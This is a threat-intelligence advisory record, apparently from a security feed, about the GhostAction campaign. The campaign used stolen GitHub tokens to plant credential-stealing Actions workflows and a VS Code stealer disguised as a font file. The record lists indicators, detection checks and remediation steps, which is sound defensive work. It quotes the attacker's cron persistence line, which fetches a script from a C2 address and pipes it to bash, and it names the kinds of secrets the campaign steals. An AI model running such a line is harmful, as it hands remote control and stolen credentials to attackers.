{"id":"CMP-202610-ghostaction-uses-stolen-github-tokens-to-plant-credential-st","kind":"campaign","aliases":[],"related":[],"title":"GhostAction uses stolen GitHub tokens to plant credential-stealing workflows and a fake-font VS Code stealer in thousands of repos","description":null,"summary":"The GhostAction operator uses GitHub tokens that were stolen earlier and never revoked. Between 2026-10-13 and 2026-10-21 it pushed 72,026 commits to at least 22,964 public repositories from 1,792 accounts, according to GitGuardian. The commits carry five payload families: (1) re-pointed security-audit.yml workflows; (2) seven innocuous-looking workflows that grep the repo, its history and wiki for secrets, including AI keys (sk-oat-, sk-svcacct-, gsk_, xai-); (3) self-hosted-runner workflows that read IMDS role credentials and local AWS/PyPI/npm/Docker/kube/gh/Claude/Gemini/OpenAI/Hugging Face credentials; (4) a GitHub OIDC workflow that tries to assume every AWS IAM role ARN it finds; (5) a Node.js stealer disguised as public/fonts/fa-solid-400.woff2. A hidden .vscode/tasks.json task (runOn: folderOpen) launches the stealer when a developer opens the repo in VS Code and trusts the workspace. The launcher is copied from PolinRider, a campaign originally attributed to DPRK. Three families install a cron job that fetches and runs a shell script from the C2 every 5 minutes, so cleaning the repo does not remove it. GitHub blocked the malicious workflow runs, but that does not stop the VS Code font stealer. From 2026-10-22 to 26, 188 GhostAction commits were amended and force-pushed with PolinRider loaders (multi-stage, Ethereum-resolved C2, browser and wallet stealer). Developers who opened affected repos are at risk, as are self-hosted runners and AWS accounts whose OIDC trust allows those repos. The last GhostAction commit GitGuardian saw was at 2026-10-21 04:37 UTC. Whether the two campaigns share an operator is unknown.","severity":"high","cvss":null,"epss":null,"exploited":true,"exploited_at":"2026-10-27T19:09:09+00:00","products":[{"name":"GitHub Actions","fixed":[],"affected":"repos pushed to with stolen tokens","ecosystem":"vendor"},{"name":"GitHub","fixed":[],"affected":"accounts with leaked, unrevoked tokens","ecosystem":"vendor"},{"name":"Visual Studio Code","fixed":[],"affected":"opening an affected repo with workspace trust","ecosystem":"vendor"},{"name":"AWS IAM","fixed":[],"affected":"roles trusting GitHub OIDC without repo/branch restrictions","ecosystem":"vendor"},{"name":"GitHub Actions self-hosted runners","fixed":[],"affected":"runners that executed the payload","ecosystem":"vendor"}],"ecosystems":[],"tags":["campaign","early-warning"],"not_affected_if":[],"how_to_check":"- On developer machines and self-hosted runners: run crontab -l and look for '#ghc2' or 'curl -s -m 10 http://193.32.204.199:8080/c2/'. Look for ~/.node_modules/.npm-ws-runner.js, .npm-ws.json and .npm-ws.pid (PolinRider). Check for connections to 193.32.204.199:8080 or 95.135.181.151:443.\n- In repos, on every branch: look for .vscode/tasks.json with task 'eslint-check' and runOn folderOpen, and for public/fonts/fa-solid-400.woff2, fa-solid-300.ttf or fa-solid.lkf that are actually text/JS. Look for api.js with code after a long run of whitespace, and for unexpected workflows: audit.yml, build-check.yml, repo-health.yml, lint.yml, ci-check.yml, test-suite.yml, code-review.yml, security-audit.yml, maintenance.yml, cache-cleanup.yml, runner-maintenance.yml, cleanup-job.yml, cleanup_cache.yml, github_actions_security.yml. Check for force-pushes you did not make.\n- On the GitHub account: look for a private gist named 'build cache' with a c.dat file.\n- In AWS CloudTrail: look for AssumeRoleWithWebIdentity from token.actions.githubusercontent.com with unexpected repos or branches, or session names starting 'secret'.\n- PolinRider SHA-256: api.js b59e598ded824c7318ca9fae4e9a6d98c9600873677ece7d9896870e3e7ced8e, fa-solid-300.ttf 7ba0a30eabfa46008d6417532533199bbf351b27f3841477e9133f43fb404d24, tasks.json 284d167f51c93b90100b7faeaec971959c1f8bb642e7ea0de50190a5a306f3d8; ETH sender 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3.","fix":"- Delete the planted files on every branch. Do not revert 'Update' commits, because that restores the earlier malicious version.\n- Revoke the pushing account's PATs, OAuth app grants and SSH keys. GitGuardian saw re-infection when tokens were kept.\n- Rotate every secret in the repo, its history and wiki, plus all Actions secrets.\n- On any machine that opened an affected repo in VS Code, and on any self-hosted runner: remove the '#ghc2' cron entry and the ~/.node_modules/.npm-ws* files, then rotate all local credentials (cloud, npm/PyPI/Docker registries, AI tool keys, SSH, kube, browser sessions).\n- Restrict AWS OIDC trust policies to specific repos and branches, and require approval for workflow changes.\n- Keep VS Code Workspace Trust on; do not trust freshly cloned repos that carry folderOpen tasks.","status":"open","published_at":"2026-10-27T00:00:00+00:00","first_seen_at":"2026-10-27T19:09:09+00:00","triaged_at":"2026-10-27T19:09:09+00:00","updated_at":"2026-10-27T19:09:09+00:00","category":"package","confidence":null,"triage":null,"analyst_status":"done","analyst_note":null,"search":"'-10':70B,74B,252B,311B '-13':71B '-202610':25A '-21':75B,312B '-22':253B '026':79B '04':313B '1':89B,101B '188':256B '2':107B '2026':69B,73B,251B,310B '22':84B '26':255B '3':134B '37':314B '4':150B '5':166B,224B '72':78B '792':90B '964':85B 'accord':92B 'account':91B,295B 'actions':38A,46A 'affect':282B 'ai':124B 'allow':299B 'amend':260B 'arn':163B 'assum':158B 'attribut':204B 'aw':160B,294B 'aws':43A 'aws/pypi/npm/docker/kube/gh/claude/gemini/openai/hugging':147B 'block':235B 'browser':275B 'c2':222B,274B 'campaign':51B,202B,319B 'carri':97B 'clean':227B 'cmp':24A 'code':18A,42A,190B,247B 'commit':80B,96B,258B,305B 'copi':198B 'credenti':9A,144B,149B 'credential':34A 'credential-st':8A 'cron':211B 'develop':184B,279B 'disguis':170B 'dprk':206B 'earli':53B 'earlier':64B 'early-warn':52B 'ethereum':272B 'ethereum-resolv':271B 'everi':159B,223B 'face':148B 'fake':15A 'fake-font':14A 'famili':100B,208B 'fetch':214B 'find':165B 'five':98B 'folderopen':178B 'font':16A,248B 'forc':263B 'force-push':262B 'ghostact':1A,56B,257B,304B 'ghostaction':27A,36A 'ghostaction-uses-stolen-github-tokens-to-plant-credential-st':26A 'gitguardian':94B,306B 'github':4A,30A,37A,39A,45A,59B,152B,234B 'grep':114B 'gsk':132B 'hidden':174B 'histori':118B 'host':137B,291B 'hosted':49A 'iam':44A,161B 'imd':142B 'includ':123B 'innocu':110B 'innocuous-look':109B 'instal':209B 'job':212B 'key':125B 'last':303B 'launch':179B 'launcher':196B 'least':83B 'loader':267B 'local':146B 'look':111B 'malici':237B 'minut':225B 'multi':269B 'multi-stag':268B 'never':66B 'node.js':168B 'oat':128B 'oidc':153B,297B 'open':185B,281B 'oper':57B,322B 'origin':203B 'payload':99B 'plant':7A,33A 'point':104B 'polinrid':200B,266B 'public':86B 'public/fonts/fa-solid-400.woff2':172B 'push':77B,264B 're':103B 're-point':102B 'read':141B 'remov':232B 'repo':23A,116B,187B,229B,283B,301B 'repositori':87B 'resolv':273B 'revok':67B 'risk':286B 'role':143B,162B 'run':216B,239B 'runner':138B,292B 'runners':50A 'runon':177B 'saw':307B 'script':219B 'secret':122B 'security-audit.yml':105B 'self':48A,136B,290B 'self-host':289B 'self-hosted':47A 'self-hosted-runn':135B 'seven':108B 'share':320B 'shell':218B 'sk':127B,130B 'sk-oat':126B 'sk-svcacct':129B 'st':35A 'stage':270B 'steal':10A 'stealer':19A,169B,181B,249B,278B 'stolen':3A,29A,63B 'stop':244B 'studio':41A 'svcacct':131B 'task':176B 'thousand':21A 'three':207B 'to':32A 'token':5A,60B 'tokens':31A 'tri':156B 'trust':192B,298B 'two':318B 'unknown':324B 'use':2A,58B 'uses':28A 'utc':315B 'visual':40A 'vs':17A,189B,246B 'vscode/tasks.json':175B 'wallet':277B 'warn':54B 'whether':316B 'whose':296B 'wiki':120B 'workflow':11A,106B,112B,139B,154B,238B 'workspac':194B 'xai':133B","nicknames":["GhostAction"],"mitigations":[],"who_affected":null,"tier":"A","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-27T00:00:00+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"analyst","external_id":"CMP-202610-ghostaction-uses-stolen-github-tokens-to-plant-credential-st","url":null,"severity":null,"published_at":"2026-10-27T00:00:00+00:00","modified_at":null,"first_seen_at":"2026-10-27T19:09:09+00:00","fetched_at":"2026-10-27T19:09:09+00:00","note":null}],"documents":[{"id":7388,"url":"https://x.com/_r_netsec/status/2115149871288406084","title":"@_r_netsec: GhostAction Crosses Paths With PolinRider https://t.co/ot0jl9ku0G","kind":"post","source":"x","text":"GhostAction Crosses Paths With PolinRider https://t.co/ot0jl9ku0G\n\nlikes 0 reposts 0","published_at":"2026-10-27T18:33:21+00:00","relation":"describes","confidence":null,"note":null},{"id":7483,"url":"https://blog.gitguardian.com/ghostaction-x-polinrider/","title":"GhostAction Crosses Paths With PolinRider: Inside the October Escalation (GitGuardian)","kind":"blog","source":"analyst","text":"GitGuardian (Gaetan Ferry): Oct 13-21 2026 GhostAction operator pushed 72,026 commits to 22,964 public GitHub repos from 1,792 accounts with stolen, unrevoked tokens. Five payload families: security-audit.yml re-point, seven workflows (audit.yml, build-check.yml, repo-health.yml, lint.yml, ci-check.yml, test-suite.yml, code-review.yml), self-hosted runner workflows (maintenance.yml, cache-cleanup.yml, runner-maintenance.yml, cleanup-job.yml, cleanup_cache.yml) reading IMDS and credential files, legacy OIDC github_actions_security.yml assuming AWS IAM roles via assume-role-with-web-identity, and a font stealer public/fonts/fa-solid-400.woff2 + .vscode/tasks.json eslint-check runOn folderOpen launched by VS Code, copied from PolinRider (DPRK-attributed). Exfil 193.32.204.199:8080/?c=, cron '*/5 * * * * curl -s -m 10 http://193.32.204.199:8080/c2/$(hostname) | bash #ghc2'. Gist fallback 'build cache' c.dat. GitHub blocked malicious workflow runs; font stealer not blocked. Oct 22-26: 188 GhostAction commits amended and force-pushed with PolinRider loaders (api.js, fa-solid-300.ttf, fa-solid.lkf; ETH sender 0x1eef0849eda15d87f64e51c73c8442cf3c8bcef3; fallback C2 95.135.181.151:443; persistence ~/.node_modules/.npm-ws-runner.js).","published_at":"2026-10-27T00:00:00+00:00","relation":"describes","confidence":null,"note":null},{"id":7358,"url":"https://www.reddit.com/r/netsec/comments/1xh04rd/ghostaction_crosses_paths_with_polinrider/","title":"r/netsec: GhostAction Crosses Paths With PolinRider","kind":"post","source":"reddit","text":"GhostAction Crosses Paths With PolinRider\n\nsubmitted by /u/mabote [link] [comments]","published_at":"2026-10-27T18:12:53+00:00","relation":"discussion","confidence":null,"note":null}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}